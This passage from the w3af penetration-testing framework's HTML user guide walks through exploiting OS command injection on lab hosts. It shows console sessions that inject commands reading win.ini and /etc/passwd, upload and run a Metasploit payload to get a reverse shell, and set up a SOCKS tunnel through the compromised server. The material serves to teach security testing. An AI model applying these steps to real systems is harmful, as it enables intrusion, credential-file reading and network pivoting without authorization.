<LI><P ALIGN=JUSTIFY><FONT FACE="Bitstream Vera Sans, sans-serif">w3af
module inside MSF will connect to the virtual daemon that is
listening on localhost</FONT></P>
<LI><P ALIGN=JUSTIFY><FONT FACE="Bitstream Vera Sans, sans-serif">MSF
will send the payload selected by the user to the virtual daemon</FONT></P>
<LI><P ALIGN=JUSTIFY><FONT FACE="Bitstream Vera Sans, sans-serif">The
virtual daemon will create a PE(portable executable) or an
ELF(executable and linkable format) file depending on the remote
operating system, and using the exploited vulnerability it will
upload and execute the payload in the remote server</FONT></P>
<LI><P ALIGN=JUSTIFY><FONT FACE="Bitstream Vera Sans, sans-serif">The
process of uploading the file to the remote server depends on the
remote operating system, the privileges of the user running w3af and
the local operating system; but in most cases the following happens:</FONT></P>
</OL>
<UL>
<LI><P ALIGN=JUSTIFY><FONT FACE="Bitstream Vera Sans, sans-serif">w3af
sends a small executable to the remote server to perform an
extrusion scan.</FONT></P>
<LI><P ALIGN=JUSTIFY><FONT FACE="Bitstream Vera Sans, sans-serif">w3af
sniffs on the configured interface ( misc-settings -> interface )
for packets that arrive on the expected ports in order to verify
outgoing firewall rules on the remote network</FONT></P>
<LI><P ALIGN=JUSTIFY><FONT FACE="Bitstream Vera Sans, sans-serif">If
a TCP port is found to be allowed in the remote firewall, w3af will
try </FONT><FONT FACE="Bitstream Vera Sans, sans-serif">to run a
server on that port and make a reverse connection from the
</FONT>compromised host in order to download the PE/ELF generated
file.<FONT FACE="Bitstream Vera Sans, sans-serif"> If </FONT><FONT FACE="Bitstream Vera Sans, sans-serif">no
TCP ports are enabled, w3af will send the ELF/PE file to the remote
</FONT><FONT FACE="Bitstream Vera Sans, sans-serif">server using
several calls to the “echo” command, which is rather slow, but
should always work because it's an in-band transfer method.</FONT></P>
</UL>
<OL>
<LI VALUE=1><P ALIGN=JUSTIFY><FONT FACE="Bitstream Vera Sans, sans-serif">The
payload runs in the remote server and possibly connects back to the
metasploit framework, that will handle the rest of the exploitation.</FONT></P>
</OL>
<OL>
<P ALIGN=JUSTIFY></P>
</OL>
<P ALIGN=JUSTIFY><FONT FACE="Bitstream Vera Sans, sans-serif">Now
that we know the theory, let's see an example of what this feature
can do:</FONT></P>
<P ALIGN=JUSTIFY STYLE="margin-left: 0.49in"><FONT FACE="Nimbus Mono L, monospace"><B>$</B>
./w3af_console </FONT>
</P>
<P ALIGN=JUSTIFY STYLE="margin-left: 0.49in"><FONT FACE="Nimbus Mono L, monospace"><B>w3af>>></B>
plugins </FONT>
</P>
<P ALIGN=JUSTIFY STYLE="margin-left: 0.49in"><FONT FACE="Nimbus Mono L, monospace"><B>w3af>>></B>
plugins </FONT>
</P>
<P ALIGN=JUSTIFY STYLE="margin-left: 0.49in"><FONT FACE="Nimbus Mono L, monospace"><B>w3af/plugins>>></B>
audit osCommanding </FONT>
</P>
<P ALIGN=JUSTIFY STYLE="margin-left: 0.49in"><FONT FACE="Nimbus Mono L, monospace"><B>w3af/plugins>>></B>
audit </FONT>
</P>
<P ALIGN=JUSTIFY STYLE="margin-left: 0.49in"><FONT FACE="Nimbus Mono L, monospace">Enabled
audit plugins: </FONT>
</P>
<P ALIGN=JUSTIFY STYLE="margin-left: 0.49in"><FONT FACE="Nimbus Mono L, monospace">osCommanding
</FONT>
</P>
<P ALIGN=JUSTIFY STYLE="margin-left: 0.49in"><FONT FACE="Nimbus Mono L, monospace"><B>w3af/plugins>>></B>
back </FONT>
</P>
<P ALIGN=JUSTIFY STYLE="margin-left: 0.49in"><FONT FACE="Nimbus Mono L, monospace"><B>w3af>>></B>
target </FONT>
</P>
<P ALIGN=JUSTIFY STYLE="margin-left: 0.49in"><FONT FACE="Nimbus Mono L, monospace"><B>w3af/target>>></B>
set target http://172.16.1.128/os.php?cmd=f00 </FONT>
</P>
<P ALIGN=JUSTIFY STYLE="margin-left: 0.49in"><FONT FACE="Nimbus Mono L, monospace"><B>w3af/target>>></B>
back </FONT>
</P>
<P ALIGN=JUSTIFY STYLE="margin-left: 0.49in"><FONT FACE="Nimbus Mono L, monospace"><B>w3af>>></B>
start </FONT>
</P>
<P ALIGN=JUSTIFY STYLE="margin-left: 0.49in"><FONT FACE="Nimbus Mono L, monospace">The
list of found URLs is: </FONT>
</P>
<P ALIGN=JUSTIFY STYLE="margin-left: 0.49in"><FONT FACE="Nimbus Mono L, monospace">-
http://172.16.1.128/os.php </FONT>
</P>
<P ALIGN=JUSTIFY STYLE="margin-left: 0.49in"><FONT FACE="Nimbus Mono L, monospace">Found
1 URLs and 1 different points of injection. </FONT>
</P>
<P ALIGN=JUSTIFY STYLE="margin-left: 0.49in"><FONT FACE="Nimbus Mono L, monospace">The
list of Fuzzable requests is: </FONT>
</P>
<P ALIGN=JUSTIFY STYLE="margin-left: 0.49in"><FONT FACE="Nimbus Mono L, monospace">-
http://172.16.1.128/os.php | Method: GET | Parameters: (cmd) </FONT>
</P>
<P ALIGN=JUSTIFY STYLE="margin-left: 0.49in"><FONT FACE="Nimbus Mono L, monospace">Starting
osCommanding plugin execution. </FONT>
</P>
<P ALIGN=JUSTIFY STYLE="margin-left: 0.49in"><FONT FACE="Nimbus Mono L, monospace">OS
Commanding was found at: http://172.16.1.128/os.php . Using method:
GET. The data sent was: cmd=type+%25SYSTEMROOT%25%5Cwin.ini The
vulnerability was found in the request with id 7. </FONT>
</P>
<P ALIGN=JUSTIFY STYLE="margin-left: 0.49in"><FONT FACE="Nimbus Mono L, monospace"><B>w3af>>></B>
exploit </FONT>
</P>
<P ALIGN=JUSTIFY STYLE="margin-left: 0.49in"><FONT FACE="Nimbus Mono L, monospace"><B>w3af/exploit>>></B>
exploit osCommandingShell </FONT>
</P>
<P ALIGN=JUSTIFY STYLE="margin-left: 0.49in"><FONT FACE="Nimbus Mono L, monospace">osCommanding
exploit plugin is starting. </FONT>
</P>
<P ALIGN=JUSTIFY STYLE="margin-left: 0.49in"><FONT FACE="Nimbus Mono L, monospace">The
vulnerability was found using method GET, tried to change the method
to POST for exploiting but failed. </FONT>
</P>
<P ALIGN=JUSTIFY STYLE="margin-left: 0.49in"><FONT FACE="Nimbus Mono L, monospace">Vulnerability
successfully exploited. </FONT>
</P>
<P ALIGN=JUSTIFY STYLE="margin-left: 0.49in"><FONT FACE="Nimbus Mono L, monospace">Execute
"exitPlugin" to get out of the remote shell. Commands typed
in this menu will be runned on the remote web server. </FONT>
</P>
<P ALIGN=JUSTIFY STYLE="margin-left: 0.49in"><FONT FACE="Nimbus Mono L, monospace"><B>w3af/exploit/osCommandingShell>>></B>
<B>start vdaemon </B></FONT>
</P>
<P ALIGN=JUSTIFY STYLE="margin-left: 0.49in"><FONT FACE="Nimbus Mono L, monospace">Virtual
daemon service is running on port 9091, use metasploit's w3af_vdaemon
module to exploit it. </FONT>
</P>
<P ALIGN=JUSTIFY STYLE="margin-left: 0.49in"><FONT FACE="Nimbus Mono L, monospace"><B>w3af/exploit/osCommandingShell>>>
</B></FONT>
</P>
<P ALIGN=JUSTIFY STYLE="margin-left: 0.49in"><BR><BR>
</P>
<P ALIGN=JUSTIFY>Nothing special for now, just added the new “<FONT FACE="Nimbus Mono L, monospace"><SPAN STYLE="font-weight: medium">start
vdaemon</SPAN></FONT>” command. With this w3af run we have covered
items 1. and 2. of the theory. The next step is to configure the MSF
module and run it; my preferred way is to use metasploit's web
interface “msfweb”. The first step is to click on the “Exploit”
button on the main menu. This will cause a small window to appear. In
this window, you should search for <I>w3af </I>and then select the
exploit named: “w3af virtual daemon exploit”. Some important
points to have in mind while configuring the w3af agent virtual
daemon module inside MSF:</P>
<UL>
<LI><P ALIGN=JUSTIFY><FONT FACE="Bitstream Vera Sans, sans-serif">The
target is of course the remote operating system you are exploiting</FONT></P>
<LI><P ALIGN=JUSTIFY><FONT FACE="Bitstream Vera Sans, sans-serif">VNC
payloads don't seem to work</FONT></P>
<LI><P ALIGN=JUSTIFY><FONT FACE="Bitstream Vera Sans, sans-serif">RHOST
parameter indicates the IP address of the server you are exploiting</FONT></P>
<LI><P ALIGN=JUSTIFY><FONT FACE="Bitstream Vera Sans, sans-serif">LHOST
is your public IP address</FONT></P>
<LI><P ALIGN=JUSTIFY><FONT FACE="Bitstream Vera Sans, sans-serif">LPORT
is a port where the remote web server can connect to (when using
reverse connect payloads) or you can connect to ( when using bind
payloads )</FONT></P>
<LI><P ALIGN=JUSTIFY><FONT FACE="Bitstream Vera Sans, sans-serif">The
w3af module inside metasploit will connect to localhost:9091 and do
all the payload transfer, this parameters can't be configured and
must not be confused with RHOST/LHOST and LPORT</FONT></P>
</UL>
<P ALIGN=JUSTIFY><BR><BR>
</P>
<P ALIGN=JUSTIFY><FONT FACE="Bitstream Vera Sans, sans-serif">Once it
has been configured, we can click on “Launch Exploit” to start
the process, this is what we will see in the w3af console:</FONT></P>
<P ALIGN=JUSTIFY><BR><BR>
</P>
<P ALIGN=JUSTIFY STYLE="margin-left: 0.49in"><FONT FACE="Nimbus Mono L, monospace"><B>w3af/exploit/osCommandingShell>>></B>
</FONT>
</P>
<P ALIGN=JUSTIFY STYLE="margin-left: 0.49in"><FONT FACE="Nimbus Mono L, monospace">Please
wait some seconds while w3af performs an extrusion scan. </FONT>
</P>
<P ALIGN=JUSTIFY STYLE="margin-left: 0.49in"><FONT FACE="Nimbus Mono L, monospace">The
extrusion test failed, no reverse connect transfer methods can be
used. Trying inband echo transfer method. </FONT>
</P>
<P ALIGN=JUSTIFY STYLE="margin-left: 0.49in"><FONT FACE="Nimbus Mono L, monospace">Error:
The user running w3af can't sniff on the specified interface. Hints:
Are you root? Does this interface exist? </FONT>
</P>
<P ALIGN=JUSTIFY STYLE="margin-left: 0.49in"><FONT FACE="Nimbus Mono L, monospace">Successfully
transfered the MSF payload to the remote server. </FONT>
</P>
<P ALIGN=JUSTIFY STYLE="margin-left: 0.49in"><FONT FACE="Nimbus Mono L, monospace">Successfully
executed the MSF payload on the remote server. </FONT>
</P>
<P ALIGN=JUSTIFY STYLE="margin-left: 0.49in"><BR><BR>
</P>
<P ALIGN=JUSTIFY><FONT FACE="Bitstream Vera Sans, sans-serif">The
last messages are printed when you run w3af as a normal user, the
reason is </FONT><FONT FACE="Bitstream Vera Sans, sans-serif">simple,
when you run w3af as a user you can't sniff and </FONT>therefore<FONT FACE="Bitstream Vera Sans, sans-serif">
can't perform a </FONT><FONT FACE="Bitstream Vera Sans, sans-serif">successful
extrusion scan. A successful extrusion scan would look like:</FONT></P>
<P ALIGN=JUSTIFY><BR><BR>
</P>
<P ALIGN=JUSTIFY STYLE="margin-left: 0.49in"><FONT FACE="Nimbus Mono L, monospace">Please
wait some seconds while w3af performs an extrusion scan. </FONT>
</P>
<P ALIGN=JUSTIFY STYLE="margin-left: 0.49in"><FONT FACE="Nimbus Mono L, monospace">ExtrusionServer
listening on interface: eth1</FONT></P>
<P ALIGN=JUSTIFY STYLE="margin-left: 0.49in"><FONT FACE="Nimbus Mono L, monospace">Finished
extrusion scan. </FONT>
</P>
<P ALIGN=JUSTIFY STYLE="margin-left: 0.49in"><FONT FACE="Nimbus Mono L, monospace">The
remote host: "172.10.10.1" can connect to w3af with these
ports: </FONT>
</P>
<P ALIGN=JUSTIFY STYLE="margin-left: 0.49in"><FONT FACE="Nimbus Mono L, monospace">-
25/TCP </FONT>
</P>
<P ALIGN=JUSTIFY STYLE="margin-left: 0.49in"><FONT FACE="Nimbus Mono L, monospace">-
80/TCP </FONT>
</P>
<P ALIGN=JUSTIFY STYLE="margin-left: 0.49in"><FONT FACE="Nimbus Mono L, monospace">-
53/TCP </FONT>
</P>
<P ALIGN=JUSTIFY STYLE="margin-left: 0.49in"><FONT FACE="Nimbus Mono L, monospace">-
1433/TCP </FONT>
</P>
<P ALIGN=JUSTIFY STYLE="margin-left: 0.49in"><FONT FACE="Nimbus Mono L, monospace">-
8080/TCP </FONT>
</P>
<P ALIGN=JUSTIFY STYLE="margin-left: 0.49in"><FONT FACE="Nimbus Mono L, monospace">-
53/UDP </FONT>
</P>
<P ALIGN=JUSTIFY STYLE="margin-left: 0.49in"><FONT FACE="Nimbus Mono L, monospace">-
69/UDP </FONT>
</P>
<P ALIGN=JUSTIFY STYLE="margin-left: 0.49in"><FONT FACE="Nimbus Mono L, monospace">-
139/UDP </FONT>
</P>
<P ALIGN=JUSTIFY STYLE="margin-left: 0.49in"><FONT FACE="Nimbus Mono L, monospace">-
1025/UDP </FONT>
</P>
<P ALIGN=JUSTIFY STYLE="margin-left: 0.49in"><FONT FACE="Nimbus Mono L, monospace">The
following ports are not bound to a local process and can be used by
w3af: </FONT>
</P>
<P ALIGN=JUSTIFY STYLE="margin-left: 0.49in"><FONT FACE="Nimbus Mono L, monospace">-
25/TCP </FONT>
</P>
<P ALIGN=JUSTIFY STYLE="margin-left: 0.49in"><FONT FACE="Nimbus Mono L, monospace">-
53/TCP </FONT>
</P>
<P ALIGN=JUSTIFY STYLE="margin-left: 0.49in"><FONT FACE="Nimbus Mono L, monospace">-
1433/TCP </FONT>
</P>
<P ALIGN=JUSTIFY STYLE="margin-left: 0.49in"><FONT FACE="Nimbus Mono L, monospace">-
8080/TCP </FONT>
</P>
<P ALIGN=JUSTIFY><FONT FACE="Nimbus Mono L, monospace">Selecting port
"8080/TCP" for inbound connections from the compromised
server to w3af. </FONT>
</P>
<P ALIGN=JUSTIFY><BR><BR>
</P>
<P ALIGN=JUSTIFY><FONT FACE="Bitstream Vera Sans, sans-serif">And if
we take a look at the metasploit web interface we will find something
far more interesting:</FONT></P>
<P ALIGN=JUSTIFY><BR><BR>
</P>
<P ALIGN=JUSTIFY STYLE="margin-left: 0.49in"><FONT FACE="Nimbus Mono L, monospace">[*]
Started reverse handler </FONT>
</P>
<P ALIGN=JUSTIFY STYLE="margin-left: 0.49in"><FONT FACE="Nimbus Mono L, monospace">[*]
The remote IP address is: 172.16.1.128 </FONT>
</P>
<P ALIGN=JUSTIFY STYLE="margin-left: 0.49in"><FONT FACE="Nimbus Mono L, monospace">[*]
Using remote IP address to create payloads. </FONT>
</P>
<P ALIGN=JUSTIFY STYLE="margin-left: 0.49in"><FONT FACE="Nimbus Mono L, monospace">[*]
Sent payload to vdaemon. </FONT>
</P>
<P ALIGN=JUSTIFY STYLE="margin-left: 0.49in"><FONT FACE="Nimbus Mono L, monospace">[*]
The estimated time to wait for the extrusion scan to complete is: 1
seconds. </FONT>
</P>
<P ALIGN=JUSTIFY STYLE="margin-left: 0.49in"><FONT FACE="Nimbus Mono L, monospace">[*]
Done waiting! </FONT>
</P>
<P ALIGN=JUSTIFY STYLE="margin-left: 0.49in"><FONT FACE="Nimbus Mono L, monospace">[*]
The estimated time to wait for PE/ELF transfer is: 8 seconds. </FONT>
</P>
<P ALIGN=JUSTIFY STYLE="margin-left: 0.49in"><FONT FACE="Nimbus Mono L, monospace">[*]
Waiting... </FONT>
</P>
<P ALIGN=JUSTIFY STYLE="margin-left: 0.49in"><FONT FACE="Nimbus Mono L, monospace">[*]
Done waiting! </FONT>
</P>
<P ALIGN=JUSTIFY STYLE="margin-left: 0.49in"><FONT FACE="Nimbus Mono L, monospace">[*]
Going to wait for 27 seconds (waiting for crontab/at to execute
payload). </FONT>
</P>
<P ALIGN=JUSTIFY STYLE="margin-left: 0.49in"><FONT FACE="Nimbus Mono L, monospace">[*]
The session could start before the handler, so please *be patient*. </FONT>
</P>
<P ALIGN=JUSTIFY STYLE="margin-left: 0.49in"><FONT FACE="Nimbus Mono L, monospace">[*]
Command shell session 1 opened (172.16.1.1:4444 ->
172.16.1.128:1047) </FONT>
</P>
<P ALIGN=JUSTIFY STYLE="margin-left: 0.49in"><FONT FACE="Nimbus Mono L, monospace">[*]
Done waiting! </FONT>
</P>
<P ALIGN=JUSTIFY STYLE="margin-left: 0.49in"><FONT FACE="Nimbus Mono L, monospace">[*]
Starting handler </FONT>
</P>
<OL TYPE=I START=100>
<P ALIGN=JUSTIFY><FONT FACE="Nimbus Mono L, monospace">Microsoft
Windows 2000 [Version 5.00.2195] </FONT>
</P>
<P ALIGN=JUSTIFY><FONT FACE="Nimbus Mono L, monospace">(C) Copyright
1985-2000 Microsoft Corp.</FONT></P>
<P ALIGN=JUSTIFY></P>
<P ALIGN=JUSTIFY><FONT FACE="Nimbus Mono L, monospace">C:\WINNT\system32></FONT></P>
</OL>
<P ALIGN=JUSTIFY><BR><BR>
</P>
<P ALIGN=JUSTIFY><FONT FACE="Bitstream Vera Sans, sans-serif">Now the
user has an interactive shell with the privileges of the user running
the web server, that can be used without any restrictions. It is
possible at this point to close w3af and continue working directly
from the metasploit shell.</FONT></P>
<P ALIGN=JUSTIFY><BR><BR>
</P>
<H3 CLASS="western" ALIGN=JUSTIFY STYLE="margin-top: 0in"><FONT FACE="Bitstream Vera Sans, sans-serif">w3afAgent</FONT></H3>
<P ALIGN=JUSTIFY><BR><BR>
</P>
<P ALIGN=JUSTIFY><FONT FACE="Bitstream Vera Sans, sans-serif">As said
before, this feature allows you to create a reverse tunnel that will
route TCP connections through the compromised server. Unlike virtual
daemon, this feature is ready to use and doesn't require any other
software. B<FONT FACE="Bitstream Vera Sans, sans-serif">efore going
through an example to see how to use this feature, we will make a
summary of the steps that will happen during exploitation:</FONT></FONT></P>
<OL>
<LI><P ALIGN=JUSTIFY><FONT FACE="Bitstream Vera Sans, sans-serif">w3af
finds a vulnerability that allows remote command execution</FONT></P>
<LI><P ALIGN=JUSTIFY><FONT FACE="Bitstream Vera Sans, sans-serif">The
user exploits the vulnerability and starts the w3afAgent</FONT></P>
<LI><P ALIGN=JUSTIFY><FONT FACE="Bitstream Vera Sans, sans-serif">w3af
performs an extrusion scan by sending a small executable to the
remote server. This executable connects back to w3af and allows the
framework to identify outgoing firewall rules on the remote network.</FONT></P>
<LI><P ALIGN=JUSTIFY><FONT FACE="Bitstream Vera Sans, sans-serif">w3afAgent
Manager will send a w3afAgentClient to the remote server. <FONT FACE="Bitstream Vera Sans, sans-serif">The
process of uploading the file to the remote server depends on the
remote operating system, the privileges of the user running w3af and
the local operating system; but in most cases the following happens:</FONT></FONT></P>
</OL>
<UL>
<LI><P ALIGN=JUSTIFY><FONT FACE="Bitstream Vera Sans, sans-serif">w3af
reuses the information from the first extrusion scan, which was
performed in step 3 in order to know which port it can use to listen
for connections from the compromised server.</FONT></P>
<LI><P ALIGN=JUSTIFY><FONT FACE="Bitstream Vera Sans, sans-serif">If
a TCP port is found to be allowed in the remote firewall, w3af will
try to run a server on that port and make a reverse connection from
the compromised in order to download the PE/ELF generated file. If
no TCP ports are enabled, w3af will send the ELF/PE file to the
remote server using several calls to the “echo” command, which
is rather slow, but should always work because it's an in-band
transfer method.</FONT></P>
</UL>
<OL>
<LI VALUE=1><P ALIGN=JUSTIFY><FONT FACE="Bitstream Vera Sans, sans-serif">w3afAgent
Manager starts the w3afAgentServer that will bind on localhost:1080
(which will be used by the w3af user) and on the interface
configured in w3af ( misc-settings->interface ) on the port
discovered during step 3.</FONT></P>
<LI><P ALIGN=JUSTIFY><FONT FACE="Bitstream Vera Sans, sans-serif">The
w3afAgentClient connects back to the w3afAgentServer, successfully
creating the tunnel</FONT></P>
<LI><P ALIGN=JUSTIFY><FONT FACE="Bitstream Vera Sans, sans-serif">The
user configures the proxy listening on localhost:1080 on his
preferred software</FONT></P>
<LI><P ALIGN=JUSTIFY><FONT FACE="Bitstream Vera Sans, sans-serif">When
the program connects to the socks proxy, all outgoing connections
are routed through the compromised server</FONT></P>
</OL>
<P ALIGN=JUSTIFY><BR><BR>
</P>
<P ALIGN=JUSTIFY><FONT FACE="Bitstream Vera Sans, sans-serif">Now
that we know the theory, let's see an example of what this feature
can do:</FONT></P>
<P ALIGN=JUSTIFY STYLE="margin-left: 0.49in"><FONT FACE="Nimbus Mono L, monospace"><B>$</B>
./w3af_console</FONT></P>
<P ALIGN=JUSTIFY STYLE="margin-left: 0.49in"><FONT FACE="Nimbus Mono L, monospace"><B>w3af>>></B>
plugins </FONT>
</P>
<P ALIGN=JUSTIFY STYLE="margin-left: 0.49in"><FONT FACE="Nimbus Mono L, monospace"><B>w3af/plugins>>></B>
audit osCommanding </FONT>
</P>
<P ALIGN=JUSTIFY STYLE="margin-left: 0.49in"><FONT FACE="Nimbus Mono L, monospace"><B>w3af/plugins>>></B>
audit </FONT>
</P>
<P ALIGN=JUSTIFY STYLE="margin-left: 0.49in"><FONT FACE="Nimbus Mono L, monospace">Enabled
audit plugins: </FONT>
</P>
<P ALIGN=JUSTIFY STYLE="margin-left: 0.49in"><FONT FACE="Nimbus Mono L, monospace">osCommanding
</FONT>
</P>
<P ALIGN=JUSTIFY STYLE="margin-left: 0.49in"><FONT FACE="Nimbus Mono L, monospace"><B>w3af/plugins>>></B>
back </FONT>
</P>
<P ALIGN=JUSTIFY STYLE="margin-left: 0.49in"><FONT FACE="Nimbus Mono L, monospace"><B>w3af>>></B>
target </FONT>
</P>
<P ALIGN=JUSTIFY STYLE="margin-left: 0.49in"><FONT FACE="Nimbus Mono L, monospace"><B>w3af/target>>></B>
set target http://172.10.10.1/w3af/v.php?c=list </FONT>
</P>
<P ALIGN=JUSTIFY STYLE="margin-left: 0.49in"><FONT FACE="Nimbus Mono L, monospace"><B>w3af/target>>></B>
back </FONT>
</P>
<P ALIGN=JUSTIFY STYLE="margin-left: 0.49in"><FONT FACE="Nimbus Mono L, monospace"><B>w3af>>></B>
start </FONT>
</P>
<P ALIGN=JUSTIFY STYLE="margin-left: 0.49in"><FONT FACE="Nimbus Mono L, monospace">The
list of found URLs is: </FONT>
</P>
<P ALIGN=JUSTIFY STYLE="margin-left: 0.49in"><FONT FACE="Nimbus Mono L, monospace">-
<FONT FACE="Nimbus Mono L, monospace">http://172.10.10.1/w3af/v.php</FONT>
</FONT>
</P>
<P ALIGN=JUSTIFY STYLE="margin-left: 0.49in"><FONT FACE="Nimbus Mono L, monospace">Found
1 URLs and 1 different points of injection. </FONT>
</P>
<P ALIGN=JUSTIFY STYLE="margin-left: 0.49in"><FONT FACE="Nimbus Mono L, monospace">The
list of Fuzzable requests is: </FONT>
</P>
<P ALIGN=JUSTIFY STYLE="margin-left: 0.49in"><FONT FACE="Nimbus Mono L, monospace">-
<FONT FACE="Nimbus Mono L, monospace">http://172.10.10.1/w3af/v.php</FONT>
| Method: GET | Parameters: (c) </FONT>
</P>
<P ALIGN=JUSTIFY STYLE="margin-left: 0.49in"><FONT FACE="Nimbus Mono L, monospace">Starting
osCommanding plugin execution. </FONT>
</P>
<P ALIGN=JUSTIFY STYLE="margin-left: 0.49in"><FONT FACE="Nimbus Mono L, monospace">OS
Commanding was found at: <FONT FACE="Nimbus Mono L, monospace">http://172.10.10.1/w3af/v.php</FONT>
. Using method: GET. The data sent was:
c=%2Fbin%2Fcat+%2Fetc%2Fpasswd The vulnerability was found in the
request with id 2. </FONT>
</P>
<P ALIGN=JUSTIFY STYLE="margin-left: 0.49in"><FONT FACE="Nimbus Mono L, monospace"><B>w3af>>></B>
exploit </FONT>
</P>
<P ALIGN=JUSTIFY STYLE="margin-left: 0.49in"><FONT FACE="Nimbus Mono L, monospace"><B>w3af/exploit>>></B>
exploit osCommandingShell </FONT>
</P>
<P ALIGN=JUSTIFY STYLE="margin-left: 0.49in"><FONT FACE="Nimbus Mono L, monospace">osCommanding
exploit plugin is starting. </FONT>
</P>
<P ALIGN=JUSTIFY STYLE="margin-left: 0.49in"><FONT FACE="Nimbus Mono L, monospace">The
vulnerability was found using method GET, tried to change the method
to POST for exploiting but failed. </FONT>
</P>
<P ALIGN=JUSTIFY STYLE="margin-left: 0.49in"><FONT FACE="Nimbus Mono L, monospace">Vulnerability
successfully exploited. </FONT>
</P>
<P ALIGN=JUSTIFY STYLE="margin-left: 0.49in"><FONT FACE="Nimbus Mono L, monospace">Execute
"exitPlugin" to get out of the remote shell. Commands typed
in this menu will be runned on the remote web server. </FONT>
</P>
<P ALIGN=JUSTIFY STYLE="margin-left: 0.49in"><BR><BR>
</P>
<P ALIGN=JUSTIFY><FONT FACE="Bitstream Vera Sans, sans-serif">Nothing
really new until now, we configured w3af, started the scan and
exploited the vulnerability.</FONT></P>
<P ALIGN=JUSTIFY STYLE="margin-left: 0.49in"><BR><BR>
</P>
<P ALIGN=JUSTIFY STYLE="margin-left: 0.49in"><FONT FACE="Nimbus Mono L, monospace"><B>w3af/exploit/osCommandingShell>>></B>
<B>start w3afAgent </B></FONT>
</P>
<P ALIGN=JUSTIFY STYLE="margin-left: 0.49in"><FONT FACE="Nimbus Mono L, monospace">Initializing
w3afAgent system, please wait. </FONT>
</P>
<P ALIGN=JUSTIFY STYLE="margin-left: 0.49in"><FONT FACE="Nimbus Mono L, monospace">Please
wait some seconds while w3af performs an extrusion scan. </FONT>
</P>
<P ALIGN=JUSTIFY STYLE="margin-left: 0.49in"><FONT FACE="Nimbus Mono L, monospace">The
extrusion scan failed. </FONT>
</P>
<P ALIGN=JUSTIFY STYLE="margin-left: 0.49in"><FONT FACE="Nimbus Mono L, monospace">Error:
The user running w3af can't sniff on the specified interface. Hints:
Are you root? Does this interface exist? </FONT>
</P>
<P ALIGN=JUSTIFY STYLE="margin-left: 0.49in"><FONT FACE="Nimbus Mono L, monospace">Using
inbound port "5060" without knowing if the remote host will
be able to connect back. </FONT>
</P>
<P ALIGN=JUSTIFY STYLE="margin-left: 0.49in"><BR><BR>
</P>
<P ALIGN=JUSTIFY><FONT FACE="Bitstream Vera Sans, sans-serif">The
last messages are printed when you run w3af as a normal user, the
reason is simple, when you run w3af as a user you can't sniff and
therefor can't perform a successful extrusion scan. A successful
extrusion scan would look like:</FONT></P>
<P ALIGN=JUSTIFY><BR><BR>
</P>
<P ALIGN=JUSTIFY STYLE="margin-left: 0.49in"><FONT FACE="Nimbus Mono L, monospace">Please
wait some seconds while w3af performs an extrusion scan. </FONT>
</P>
<P ALIGN=JUSTIFY STYLE="margin-left: 0.49in"><FONT FACE="Nimbus Mono L, monospace">ExtrusionServer
listening on interface: eth1</FONT></P>
<P ALIGN=JUSTIFY STYLE="margin-left: 0.49in"><FONT FACE="Nimbus Mono L, monospace">Finished
extrusion scan. </FONT>
</P>
<P ALIGN=JUSTIFY STYLE="margin-left: 0.49in"><FONT FACE="Nimbus Mono L, monospace">The
remote host: "172.10.10.1" can connect to w3af with these
ports: </FONT>
</P>
<P ALIGN=JUSTIFY STYLE="margin-left: 0.49in"><FONT FACE="Nimbus Mono L, monospace">-
25/TCP </FONT>
</P>
<P ALIGN=JUSTIFY STYLE="margin-left: 0.49in"><FONT FACE="Nimbus Mono L, monospace">-
80/TCP </FONT>
</P>
<P ALIGN=JUSTIFY STYLE="margin-left: 0.49in"><FONT FACE="Nimbus Mono L, monospace">-
53/TCP </FONT>
</P>
<P ALIGN=JUSTIFY STYLE="margin-left: 0.49in"><FONT FACE="Nimbus Mono L, monospace">-
1433/TCP </FONT>
</P>
<P ALIGN=JUSTIFY STYLE="margin-left: 0.49in"><FONT FACE="Nimbus Mono L, monospace">-
8080/TCP </FONT>
</P>
<P ALIGN=JUSTIFY STYLE="margin-left: 0.49in"><FONT FACE="Nimbus Mono L, monospace">-
53/UDP </FONT>
</P>
<P ALIGN=JUSTIFY STYLE="margin-left: 0.49in"><FONT FACE="Nimbus Mono L, monospace">-
69/UDP </FONT>
</P>
<P ALIGN=JUSTIFY STYLE="margin-left: 0.49in"><FONT FACE="Nimbus Mono L, monospace">-
139/UDP </FONT>
</P>
<P ALIGN=JUSTIFY STYLE="margin-left: 0.49in"><FONT FACE="Nimbus Mono L, monospace">-
1025/UDP </FONT>
</P>
<P ALIGN=JUSTIFY STYLE="margin-left: 0.49in"><FONT FACE="Nimbus Mono L, monospace">The
following ports are not bound to a local process and can be used by
w3af: </FONT>
</P>
<P ALIGN=JUSTIFY STYLE="margin-left: 0.49in"><FONT FACE="Nimbus Mono L, monospace">-
25/TCP </FONT>
</P>
<P ALIGN=JUSTIFY STYLE="margin-left: 0.49in"><FONT FACE="Nimbus Mono L, monospace">-
53/TCP </FONT>
</P>
<P ALIGN=JUSTIFY STYLE="margin-left: 0.49in"><FONT FACE="Nimbus Mono L, monospace">-
1433/TCP </FONT>
</P>
<P ALIGN=JUSTIFY STYLE="margin-left: 0.49in"><FONT FACE="Nimbus Mono L, monospace">-
8080/TCP </FONT>
</P>
<P ALIGN=JUSTIFY STYLE="margin-left: 0.49in"><FONT FACE="Nimbus Mono L, monospace">Selecting
port "8080/TCP" for inbound connections from the
compromised server to w3af. </FONT>
</P>
<P ALIGN=JUSTIFY STYLE="margin-left: 0.49in"><BR><BR>
</P>
<P ALIGN=JUSTIFY><FONT FACE="Bitstream Vera Sans, sans-serif">In both
cases (superuser and user), these should be the following steps:</FONT></P>
<P ALIGN=JUSTIFY STYLE="margin-left: 0.49in"><BR><BR>
</P>
<P ALIGN=JUSTIFY STYLE="margin-left: 0.49in"><FONT FACE="Nimbus Mono L, monospace">Starting
w3afAgentClient upload. </FONT>
</P>
<P ALIGN=JUSTIFY STYLE="margin-left: 0.49in"><FONT FACE="Nimbus Mono L, monospace">Finished
w3afAgentClient upload. </FONT>
</P>
<P ALIGN=JUSTIFY STYLE="margin-left: 0.49in"><FONT FACE="Nimbus Mono L, monospace">Please
wait 30 seconds for w3afAgentClient execution. </FONT>
</P>
<P ALIGN=JUSTIFY STYLE="margin-left: 0.49in"><FONT FACE="Nimbus Mono L, monospace">w3afAgent
service is up and running. </FONT>
</P>
<P ALIGN=JUSTIFY STYLE="margin-left: 0.49in"><FONT FACE="Nimbus Mono L, monospace">You
may start using the w3afAgent that is listening on port 1080. All
connections made through this SOCKS daemon will be relayed using the
compromised server. </FONT>
</P>
<P ALIGN=JUSTIFY STYLE="margin-left: 0.49in"><BR><BR>
</P>
